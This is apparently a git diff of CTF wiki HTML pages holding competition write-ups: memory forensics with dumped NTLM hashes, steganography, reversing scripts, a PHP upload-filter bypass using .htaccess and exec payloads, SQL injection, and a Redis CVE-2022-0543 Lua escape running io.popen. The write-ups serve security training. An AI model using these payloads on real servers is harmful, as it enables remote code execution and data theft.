+0xfffff8a0002bb010 0x000000003c017010 \Device\HarddiskVolume3\Boot\BCD
+0xfffff8a000334010 0x0000000000b83010 \SystemRoot\System32\Config\SOFTWARE
+0xfffff8a000c96010 0x0000000017104010 \SystemRoot\System32\Config\SECURITY
+volatility -f "memdump/memdump.mem" --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000ce7410
+Volatility Foundation Volatility Framework 2.6
+Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+XinSai:1000:aad3b435b51404eeaad3b435b51404ee:27caa41e7118fd4429d9b9cbd87aaa40:::
+XiaoMing:1001:aad3b435b51404eeaad3b435b51404ee:92efa7f9f2740956d51157f46521f941:::
+
+

然后去cmd5尝试查询NTLM Hash,发现XiaoMing和XinSai的都查不出,但是Administrator和Guest的都是空密码。(XiaoMing的NTLM Hash在cmd5中是一条付费记录)

+

回到磁盘中,我们再翻一翻,发现磁盘中可以在\Users\XiaoMing\AppData\Local\Temp里面找到两个流量包,其中在

+
wireshark_4D9DE10B-B9DF-4EFF-93CB-50C8BB2AF217_20200813223005_a03980.pcapng
+
+

这个流量包里面搜flag发现一个UDP流里面找到了flag.docx,它在一个RAR压缩包里面。

+

我们导出这个RAR压缩包,不过尝试解压的时候要密码。

+

直接打开这个RAR压缩包,提示压缩包密码跟开机密码相同。

+

另外,磁盘桌面上提示要仿真打开,我们可以把他那个磁盘文件用DiskGenius转成vmdk,再用vmware打开。

+

可以进入到欢迎页面,但是无论以账户XiaoMing还是XinSai(xm)进入系统都要登录密码。

+

做到这里,现在有两个未知:BitLocker的密码和系统的登陆密码(提示和压缩包密码一样)

+

我们尝试cmd5里面付费查询那个XiaoMing的NTLM Hash记录。查得为:

+
xiaoming_handsome
+
+

所以我们可以得到开机密码,和压缩包的解压密码。

+

尝试把压缩包解压出来,结果解压出来了flag.docx文件,但是发现flag.docx也是需要密码才能打开的。

+

VMware中可以输密码进系统,引入眼帘的为如下Windows 7便笺:

+

img那你为什么不干脆一码通得了

+

我们猜测是有其他的Windows 7便笺,所以查看便笺存放在磁盘中的路径:

+

https://answers.microsoft.com/zh-hans/windows/forum/all/windows-7-%E4%BE%BF%E7%AC%BA/0712dba1-9349-e011-8dfc-68b599b31bf5

+

搜到路径后,复制出来,拖进010 Editor查看:

+

imgAw前缀

+

这里大概就是桌面上我们能看到的那个便笺上的内容,再往下一点点:

+

imgword

+

看到word,然后下面就是xiaoming1314,猜测是flag.docx的密码,尝试后发现正确,并利用其打开flag.docx便得到flag。

+

Flag

+
flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402713931

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/General Skills/\345\270\246\351\237\263\344\271\220\345\256\266/index.html" "b/Writeup/General Skills/\345\270\246\351\237\263\344\271\220\345\256\266/index.html" new file mode 100644 index 000000000..5f8d67618 --- /dev/null +++ "b/Writeup/General Skills/\345\270\246\351\237\263\344\271\220\345\256\266/index.html" @@ -0,0 +1,8170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 带音乐家 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

带音乐家

+

Category: General Skills

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 20

+

Description

+

咪枓崃眯,音乐太好听了。我也要创作一曲。

+

Solution

+

拿到手先file看一下decode_it的类型

+

图片

+

发现是标准的midi的源文件,但是不能以元数据的形式导入到au,导入库乐队时听其中一个音轨的声音,也没有什么问题。并且波形图也不具备规律。

+

于是想起velato这个奇葩的编程语言,这个编程语言主要是采用了所谓的音符编程,可以到官网看一下手册,这里直接下载编译器,尝试编译decode_it,看看有啥

+

成功编译,运行decode_it.exe,应该是word的压缩包密码

+

图片

+

成功解压压缩包获得word,显示隐藏字符,可以看到里面的图片和一串密文

+

图片

+

图片是精灵语,参照翻译表即可翻译出FLAGIS,那么后面那段密文应该就是flag的密文了

+

图片

+

这时关注到rar压缩包的注释部分

+

图片

+

发现由空格字符和tab字符组成,将空格字符替换成 . ,tab字符替换成- 摩斯解密即可

+

图片

+

已知AES密文和key 在线解密得到flag

+

图片

+

Flag

+

flag{mU51c_And_ch@ract0rs~}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/General Skills/\350\200\203\345\217\244/index.html" "b/Writeup/General Skills/\350\200\203\345\217\244/index.html" new file mode 100644 index 000000000..e37a8e01b --- /dev/null +++ "b/Writeup/General Skills/\350\200\203\345\217\244/index.html" @@ -0,0 +1,8177 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 考古 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

考古

+

Category: General Skills

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 15

+

Description

+

小明在家里翻到一台很古老的xp笔记本,换电池之后发现可以正常开机,但是发现硬盘空间不足。清理过程中却发生了一些不愉快的事情...

+

zip

+

Solution

+

Windows system image forensics.

+

The given memory file is a Windows XP SP3 image file.

+

Using volatility to find information in the image, the followings are important:

+
1. consoles
+    Gives some information about hacked by 1cepeak.
+2. pslist
+    Find 2 processes, Oneclickcleanup & DumpIt
+3. filescan
+    Find the Oneclickcleanup.exe
+
+

1

+

We should know that DumpIt is the process used to create system image, and this is not related to the solution.

+

Then we should reverse Oneclickcleanup.exe and find the next step.

+

First, we find a key this_a_key. The process uses this key to encrypt data.

+

2

+

We get yet another file using reverse.

+

The given file is a doc file with MS Word 6.0. An old version of document. After the scan and analysis, no macro is found in the doc file, and as well as the hidden character.

+

3

+

After struggling several hours, I happened checked the xor brute force of the file, and I found something interesting.

+

This part of the document can be xor using key 0x2d and gives the flag.

+

4

+

5

+

Flag

+

flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}

+

Reference

+

Writeup by Enderaoe Lyther

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/General Skills/\350\277\233\345\210\266\345\217\215\350\275\254/index.html" "b/Writeup/General Skills/\350\277\233\345\210\266\345\217\215\350\275\254/index.html" new file mode 100644 index 000000000..c9c8e2628 --- /dev/null +++ "b/Writeup/General Skills/\350\277\233\345\210\266\345\217\215\350\275\254/index.html" @@ -0,0 +1,8164 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 进制反转 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

进制反转

+

Category: General Skills

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 40

+

Description

+

电脑中到底使用的是什么进制呢?真是麻烦,有时候还是手机好用。

+

结果用flag{}包住,并且全为大写

+

Solution

+

下发的文件显示损坏无法打开,但是手机可以正常打开,010edit打开显示CRC错误,修改后提示需要密码解密,但是爆破rar未果,于是想起来可能是rar压缩伪加密,尝试修改

+

图片

+

图示标记位置的D4修改为D0即可解压

+

图片

+

修改后即可解压得到flag.wav

+

图片

+

里面是flag.wav,以元数据的模式导入au利用AU进行音频反转,得到一段勉强能听的音频,

+

图片

+

0.5倍速播放后使用qq音乐听歌识曲,得知是Too Good At Goodbyes

+

Flag

+

flag{TOOGOODATGOODBYES}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/General Skills/\351\270\243\351\233\217\346\201\213/index.html" "b/Writeup/General Skills/\351\270\243\351\233\217\346\201\213/index.html" new file mode 100644 index 000000000..8b204ce92 --- /dev/null +++ "b/Writeup/General Skills/\351\270\243\351\233\217\346\201\213/index.html" @@ -0,0 +1,8209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 鸣雏恋 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

鸣雏恋

+

Category: General Skills

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 5

+

Description

+

在喜欢的人面前,我可不能……丢脸啊……因为我,喜欢鸣人君…………

+

zip

+

题目描述

+

题目给了我们一个docx,但是双击打不开。

+

我的解答

+

首先后缀改zip解压之,发现_rels文件夹下有东西:key.txt和一个ZIP压缩包。

+

key.txt拖入010 editor发现后面E2 80 8DE2 80 8C出现的最多,猜测是零宽隐写:

+

https://330k.github.io/misc_tools/unicode_steganography.html

+

将key.txt中内容全选并复制,粘贴进去解码就有密码:

+
Because I like naruto best
+
+

利用这个密码将ZIP压缩包解压之后是很多鸣人和雏田的头像,而且从前面的文件上来看,应该是按照数字顺序,每8个一byte,雏田0,鸣人1。如果这样做的话,解出前三个字母是dat。写脚本解出,发现前面为

+
data:image/png;base64,
+
+

将后面的内容base64解码之后写到PNG文件,就能看到flag。

+

img要眼力看

+

脚本如下:

+
from tqdm import tqdm
+from Crypto.Util.number import *
+import base64
+
+with open('_rels/love/out/0.png', 'rb') as f:
+    zero = f.read()
+
+ans = ''
+for i in tqdm(range(129488)):
+    with open(f'_rels/love/out/{i}.png', 'rb') as f:
+        s = f.read()
+    if (s == zero):
+        ans += '0'
+    else:
+        ans += '1'
+
+s = long_to_bytes(int(ans, 2))).decode()
+s = base64.b64decode(s[22:])
+with open('gao_3.png', 'wb') as f:
+    f.write(s)
+
+

Flag

+
flag{57dd74fb21bb1aee50f19421bf836f23}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402713931

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Reverse Engineering/apk1/index.html b/Writeup/Reverse Engineering/apk1/index.html new file mode 100644 index 000000000..2b3a2404d --- /dev/null +++ b/Writeup/Reverse Engineering/apk1/index.html @@ -0,0 +1,8183 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + apk1 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

apk1

+

Category: Reverse Engineering

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 30

+

Description

+

this is a easy apk

+

Solution

+

JEB打开apk,可以看到程序主逻辑的在native层,但是要注意的是调用的是check函数而不是check1函数

+

图片

+

图片

+

IDA打开so,可以发现程序直接有check1函数

+

图片

+

而check函数是通过JNI_Onload中registerNatives函数注册的,可以通过反汇编找到关键位置

+

图片

+

图片

+

图片

+

check函数主逻辑如下:

+

图片

+

稍作分析,可以发现程序对我们的输入长度进行了判断是否是22位,然后对其进行了hex转化,接着rc4加密,密钥是flag,最后用DES加密,密钥还是flag,最后和明文0x99EDA1D941316EEA进行对比。要注意是的rc4生成时用到了crc校验,那么可以用动态调试去解密rc4。

+

图片

+
#-*- coding:utf-8   
+from numpy import*
+from Crypto.Cipher import DES
+from Crypto.Cipher import ARC4
+key='666C6167'
+des = DES.new(key, DES.MODE_ECB)
+
+
+cipher1='99EDA1D941316EEA'.decode('hex')
+plain1=des.decrypt(cipher1)
+
+
+print(plain1.encode('hex'))
+#求出des解密明文
+
+

动态调试解出rc4密文,即为flag

+

Flag

+

flag{76952041E276E2BF}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Reverse Engineering/re1/index.html b/Writeup/Reverse Engineering/re1/index.html new file mode 100644 index 000000000..024280ceb --- /dev/null +++ b/Writeup/Reverse Engineering/re1/index.html @@ -0,0 +1,8186 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + re1 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

re1

+

Category: Reverse Engineering

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 15

+

Description

+

The program that can never be reversed?

+

Solution

+

输入的字符串,根据每位的字符会经过一堆的处理,然后跟相应的数据一位一位对比。可以直接输入0-9 a-z的字符串来进行爆破一下字符对应,从而得到flag。

+

图片

+
# 1234567890abcdefghijklmnopqrstuv
+
+# unsigned char ida_chars[] =
+# {
+# 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 1-5
+# 0xEE, 0xEF, 0xF0, 0xF1, 0xE8, 6-0
+# 0x19, 0x1A, 0x1B, 0x1C, 0x1D, a-e
+# 0x1E, 0x1F, 0x20, 0x21, 0x22, f-j
+# 0x23, 0x24, 0x25, 0x26, 0x27, k-o
+# 0x28, 0x29, 0x2A, 0x2B, 0x2C, p-t
+# 0x2D, 0x2E u-v
+# };
+
+
+# cmpcode = 0xeb 0xf1 0x19 0xe8 0x1e 0x1e 0xf0 0xec 0xef 0x1e
+# 0xe9 0x1e 0xec 0xec 0xe8 0xec 0x19 0x19 0xee 0x1b 
+# 0xef 0xef 0xec 0xea 0x1c 0xea 0xe8 0xeb 0xee 0xeb 0x1d 0xf1
+key = [0xeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec,0xef,0x1e,
+0xe9,0x1e,0xec,0xec,0xe8,0xec,0x19,0x19,0xee,0x1b,
+0xef,0xef,0xec,0xea,0x1c,0xea,0xe8,0xeb,0xee,0xeb,0x1d,0xf1
+]
+flag = 'flag{'
+for i in range(len(key)):
+if 0xe8<=key[i]<=0xf1:
+flag += chr(key[i] - 184)
+if 0x19<=key[i]<=(0x19+26):
+flag += chr(key[i] + 72)
+print(flag+'}')
+
+

图片

+

Flag

+

flag{39a0ff847f1f4404aa6c7742d20363e9}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Web Exploitation/easy_game/index.html b/Writeup/Web Exploitation/easy_game/index.html new file mode 100644 index 000000000..526c9cfbe --- /dev/null +++ b/Writeup/Web Exploitation/easy_game/index.html @@ -0,0 +1,8231 @@ + + + + + + + + + + + + + + + + + + + + + + + + + pcat/7/easygame - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

pcat/7/easygame

+

Name: easygame

+

Type: web

+

Author: kagi

+

Desc: bypass me

+

Link: http://139.9.251.90:8888/

+

Attach: None

+

Tips: None

+

Total: 125 First: 佚名 Second: Ricky Third: lu0sf

+

Writeup

+
<?php
+highlight_file(__FILE__);
+#### easy game
+
+$upload = 'upload/'.md5("2021".$_SERVER['REMOTE_ADDR']);
+@mkdir($upload);
+file_put_contents($upload.'/index.php', '');
+var_dump($upload);
+
+if (isset($_POST['file']) && isset($_POST['file'])){
+    if(preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is',$_POST['file'])){
+        die('file error');
+    }
+    if(preg_match('#\w{2,}|[678]|<\?|/#',$_POST['content'])){
+        die('content error');
+    }
+    file_put_contents($upload.'/'.$_POST['file'], $_POST['content']);
+}
+
+
+if (isset($_GET['reset'])){
+    @rmdir($upload);
+} string(39) "upload/c946d761bddc7564ff3e45a77a54ae13"
+
+

We have access to the upload folder, but both the filename and the content are filtered. The question is to bypass the filter.

+

Bypass filename

+

The filename can't be uploaded using any kind of .php format. The only way is to upload a .htaccess file to identify the files in this folder are all executed using php.

+
.htaccess
+SetHandler application/x-httpd-php
+
+

After that, we can upload any filename and open it, the file would be resolved using php.

+

But how can we upload the content in the .htaccess? Let's discuss below.

+

Bypass content

+

The filter is strict, all 2 length printable characters are not valid. However, we can use an array to bypass this filter.

+
def gen_content(inp):
+    i = 1
+    for c in inp:
+        print('content['+str(i)+']=%'+hex(ord(c))[2:]+'&', end='')
+    i += 1
+
+

Then we can upload any php script to server and gain RCE.

+

How to find the flag? After several searching in the server, we discovered a /readflag ELF to read the flag file. Execute it to get the flag.

+

Payload

+

.htaccess file upload:

+
file=.htaccess&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%0a&content[7]=e&content[8]=x&content[9]=e&content[10]=c&content[11]=(&content[12]="&content[13]=l&content[14]=s&content[15]="&content[16]=)&content[17]=%0a&content[18]=?&content[19]=>
+
+

payload file upload:

+
file=payload&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%0a&content[7]=e&content[8]=c&content[9]=h&content[10]=o&content[11]=%20&content[12]=e&content[13]=x&content[14]=e&content[15]=c&content[16]=(&content[17]="&content[18]=/&content[19]=r&content[20]=e&content[21]=a&content[22]=d&content[23]=f&content[24]=l&content[25]=a&content[26]=g&content[27]="&content[28]=)&content[29]=%0a&content[30]=?&content[31]=>
+
+

Flag

+

flag{46dd5c50-3e80-485e-80f4-f46b5d85f4b8}

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/\350\231\216\347\254\246CTF2022/COMPASS WriteUp/index.html" "b/Writeup/\350\231\216\347\254\246CTF2022/COMPASS WriteUp/index.html" new file mode 100644 index 000000000..0eae79280 --- /dev/null +++ "b/Writeup/\350\231\216\347\254\246CTF2022/COMPASS WriteUp/index.html" @@ -0,0 +1,8452 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 虎符CTF - COMPASS WriteUp - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

虎符CTF - COMPASS WriteUp

+
+

(2022数字中国创新大赛虎符网络安全赛道)

+
+ + + + + + + + + + + + + + + + + +
排名(高校)排名(总)解题得分
314261529
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
分类名称分值
Webbabysql232 pt
MiscCheck in31 pt
MiscPlain Text79 pt
MiscQuest-Crash99 pt
MiscQuest-RCE150 pt
Mischandle909 pt
+

Web

+

babysql

+

username&password 注入

+
'or~''and`password`COLLATE`utf8mb4_0900_as_cs`regexp'^[[prefix]]'and`password`regexp'(
+
+

通过 [[prefix]] 盲注,401 为 failed,500 为 match。
+得到
+username: QaY8TeFYzC67aeoO
+password: m52FPlDxYyLB^eIzAr!8gxh$

+

Misc

+

Check in (一血)

+

全选复制快速签到,号称COMPASS签到团

+

Plain Text

+

base64得解码后的东西试了各种常见编码加密,未果。
+打开谷歌翻译,源语言选俄语,然后直接键盘输入,得到了flag:
+所有的密码都很细,苹果和西瓜

+

为什么发现是俄语呢,因为google前两个词,出来了俄语文章

+

Quest-Crash

+
{"query":"SET 114514 1919810\nGET 114514\nPING"}
+
+

可以执行多条,可以绕过,于是

+
{"query":"SET 114514 1919810\nGET 114514\nDEBUG SEGFAULT"}
+
+

可以崩掉服务。

+

Quest-RCE

+

根据 vulhub/CVE-2022-0543 找到payload

+
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
+
+

题目环境和版本完美符合,不需要改lib路径,放到上一题的请求后边就可以RCE

+
{"query":"SET 114514 1919810\nGET 114514\neval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG", "r"); local res = f:read("*a"); f:close(); return res' 0"}
+
+

handle (二血)

+

~~(隔壁某show平台上周刚做过类似的题,于是很快就把字典搞出来了,但是交互写了很久丢掉了一血)~~ +思路就是找一个有优势的固定词开头,然后根据返回结果分枝(枝),根据不同枝选择不同的尝试(剪枝,但是其实是只处理一枝),这样接下来要处理的重复量就少很多,重复这个过程两次,几乎每一个可能的词都有对应序列了。
+简单统计一下生母韵母音调的频率,但是依据这个找出比较常见的词跑三轮之后会有400+个重复的路线,也就是这400+个词如果抽到大概率失败,算一下成功率pow(1-400/26000,512)是恐怖的万分之三,于是random choice字典里的词开始跑,最后找到 露己扬才 只有一百多重复,成功率pow(1-100/26000,512)已经提升到了十分之一,决定多跑几次出flag。
+P.S.因为成功之后就没有 > 输出了,所以边界条件炸了,在第512轮强制进交互赌第二轮出结果。

+

首先是生成字典的函数,kk是第一个固定的开头词,根据每次返回的文本更新键值对,然后对有多个结果的key迭代延长,每次选择第一个可能的结果,最后的重复个数即为有可能失败的词的数量:

+
# 其余内容和源代码完全一样,节省空间就不粘贴了
+with open('idioms.txt', 'r', encoding='utf8') as f: # utf8
+    idioms = [x.strip() for x in f.readlines()]
+
+def check(guess, answer): # 魔改的check,改返回值为输出内容 方便到时候直接用服务器返回内容更新
+    guesspy = get_pinyin(guess)
+    answerpy = get_pinyin(answer)
+    r = ""
+    py_results = [check_part(guesspy[i], answerpy[i]) for i in range(3)]
+    for i in range(4):
+        for j in range(3):
+            r += (wrap_color(guesspy[j][i], py_results[j][i]))
+        r += ' '
+    r += '\n'
+    results = check_part(guess, answer)
+    for i in range(4):
+        r += wrap_color(guess[i], results[i])
+    r += '\n'
+    return r.encode(), r
+
+def gen(kk):
+    d = {}
+    dup = []
+    for i in idioms:
+        s = check(kk, i)[0] 
+        if s in d.keys():
+            d[s].append(i) # 其实这里用s的哈希也是可以的,但是不方便debug,而且提速不明显
+            dup.append(s)
+        else:
+            d[s] = [i]
+    print(f'finish init round1 with {len(dup)} dup.')
+    dup = set(dup)
+    dup2 = []
+    for i in dup:
+        for j in d[i]:
+            s = check(d[i][0], j)[0]
+            if s in d.keys():
+                d[s].append(j)
+                dup2.append(s)
+            else:
+                d[s] = [j]
+    print(f'finish init round2 with {len(dup2)} dup.')
+    dup2 = set(dup2)
+    dup3 = []
+    for i in dup2:
+        for j in d[i]:
+            s = check(d[i][0], j)[0]
+            if s in d.keys():
+                d[s].append(j)
+                dup3.append(s)
+            else:
+                d[s] = [j]
+    print(f'finish init round3 with {len(dup3)} dup.')
+    return d
+
+while True:
+    s=random.choice(idioms)  # 因为遍历不完,连续的词特征重复性高,所以随机抽了
+    print(s)
+    d = gen(s) # 如果第三个结果能小于200就能用了,多跑几轮肯定能拿到flag
+    list3_file = open('list3.pickle', 'wb1')
+    pickle.dump(d, list3_file)
+    list3_file.close()
+
+

然后是多次尝试的利用脚本

+
list3_file = open('list3.pickle', 'rb') # 上边生成的
+d = pickle.load(list3_file)
+# context.log_level = 'debug'
+
+while True:
+    try:
+        p = remote("120.77.30.1", 48771)
+        p.recvuntil(b"> ")
+        for r in range(512):
+            print(r)
+            p.sendline('露己扬才'.encode())
+            res = p.recvuntil(b"> ")
+            while b'Round' not in res:
+                s = res[:-2]
+                p.sendline(d[s][0])
+                if r == 511:
+                    p.interactive() # 边界条件炸了,在第512轮强制进交互赌第二轮出结果
+                res = p.recvuntil(b"> ")
+    except:
+            time.sleep(1)
+
+p.interactive()
+
+

因为疫情不在学校,交互提速的小trick就是去IP所在地租个服务器,比如这里租个广东的阿里云或者腾讯云的服务器,交互飞快,几秒跑一轮,体验如同本地一般。

+

后记

+

RE的2048完美还原了js,找到了后门函数和魔改的TEA加密还有换表的base64。
+但是对四个native方法的逆向没有完成,静态绑定的两个方法勉强能看,check和pre两个动态方法就找不到符号了。
+本地没准备好ARM环境上不了动态,被so的OLLVM爆杀,遗憾放弃。

+

PWN的签到babaygame泄露出rbp-4不知道能做什么,随机数比较好模拟,但是格式化字符串只能利用一次。
+按之前的知识需要第一次泄露libc地址比如__libc_start_main+243,第二次写返回地址为gadget或者system,需要两次。
+然后想能不能覆写ret的低位短跳一下重复执行格式化字符串的函数,然后就是常规思路了。
+或者也可以暴力爆PIE,但是这两个思路都没来得及实现。

+

总之还是有不少遗憾的,这两题再出一题就能公费旅游了(大概)。 +不过第一次和全国几乎所有顶级强队竞技能拿到这样的排名也是一大进步了,考虑到前边还有清北复浙交北邮中科大国科大,我们高校组排名好像还不错(逃)

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/assets/111.png b/assets/111.png new file mode 100644 index 000000000..e5d52c2c8 Binary files /dev/null and b/assets/111.png differ diff --git a/assets/1110.png b/assets/1110.png new file mode 100644 index 000000000..e2143503c Binary files /dev/null and b/assets/1110.png differ diff --git a/assets/1111.png b/assets/1111.png new file mode 100644 index 000000000..a3c63bfee Binary files /dev/null and b/assets/1111.png differ diff --git a/assets/1112.png b/assets/1112.png new file mode 100644 index 000000000..d1de4f374 Binary files /dev/null and b/assets/1112.png differ diff --git a/assets/1113.png b/assets/1113.png new file mode 100644 index 000000000..ea8028b1f Binary files /dev/null and b/assets/1113.png differ diff --git a/assets/1114.png b/assets/1114.png new file mode 100644 index 000000000..39873da21 Binary files /dev/null and b/assets/1114.png differ diff --git a/assets/1115.png b/assets/1115.png new file mode 100644 index 000000000..85f7c38c1 Binary files /dev/null and b/assets/1115.png differ diff --git a/assets/1116.png b/assets/1116.png new file mode 100644 index 000000000..4cbca0fe8 Binary files /dev/null and b/assets/1116.png differ diff --git a/assets/1117.png b/assets/1117.png new file mode 100644 index 000000000..3aade2fd1 Binary files /dev/null and b/assets/1117.png differ diff --git a/assets/1118.png b/assets/1118.png new file mode 100644 index 000000000..0ba14131b Binary files /dev/null and b/assets/1118.png differ diff --git a/assets/112.png b/assets/112.png new file mode 100644 index 000000000..0c215437a Binary files /dev/null and b/assets/112.png differ diff --git a/assets/113.png b/assets/113.png new file mode 100644 index 000000000..e448ec46b Binary files /dev/null and b/assets/113.png differ diff --git a/assets/114.png b/assets/114.png new file mode 100644 index 000000000..0391425ac Binary files /dev/null and b/assets/114.png differ diff --git a/assets/115.png b/assets/115.png new file mode 100644 index 000000000..3dae5d24c Binary files /dev/null and b/assets/115.png differ diff --git a/assets/116.png b/assets/116.png new file mode 100644 index 000000000..b0203d485 Binary files /dev/null and b/assets/116.png differ diff --git a/assets/117.png b/assets/117.png new file mode 100644 index 000000000..11554e45c Binary files /dev/null and b/assets/117.png differ diff --git a/assets/118.png b/assets/118.png new file mode 100644 index 000000000..bfa04387e Binary files /dev/null and b/assets/118.png differ diff --git a/assets/119.png b/assets/119.png new file mode 100644 index 000000000..fce3aa8b4 Binary files /dev/null and b/assets/119.png differ diff --git a/assets/1_hd.png b/assets/1_hd.png new file mode 100644 index 000000000..d975aa772 Binary files /dev/null and b/assets/1_hd.png differ diff --git a/assets/2022Summer.png b/assets/2022Summer.png new file mode 100644 index 000000000..f48fdeb7a Binary files /dev/null and b/assets/2022Summer.png differ diff --git a/assets/2022wdbs1.jpg b/assets/2022wdbs1.jpg new file mode 100644 index 000000000..90cecf8a3 Binary files /dev/null and b/assets/2022wdbs1.jpg differ diff --git "a/assets/2023\345\233\275\350\265\233\351\202\200\350\257\267\345\207\275.png" "b/assets/2023\345\233\275\350\265\233\351\202\200\350\257\267\345\207\275.png" new file mode 100644 index 000000000..536eb0014 Binary files /dev/null and "b/assets/2023\345\233\275\350\265\233\351\202\200\350\257\267\345\207\275.png" differ diff --git a/assets/2734950ab79fbdc79176de2c46bc626a49f1850ec29d20833153789aa65ddf10.png b/assets/2734950ab79fbdc79176de2c46bc626a49f1850ec29d20833153789aa65ddf10.png new file mode 100644 index 000000000..15d3d93ed Binary files /dev/null and b/assets/2734950ab79fbdc79176de2c46bc626a49f1850ec29d20833153789aa65ddf10.png differ diff --git a/assets/2_hd.png b/assets/2_hd.png new file mode 100644 index 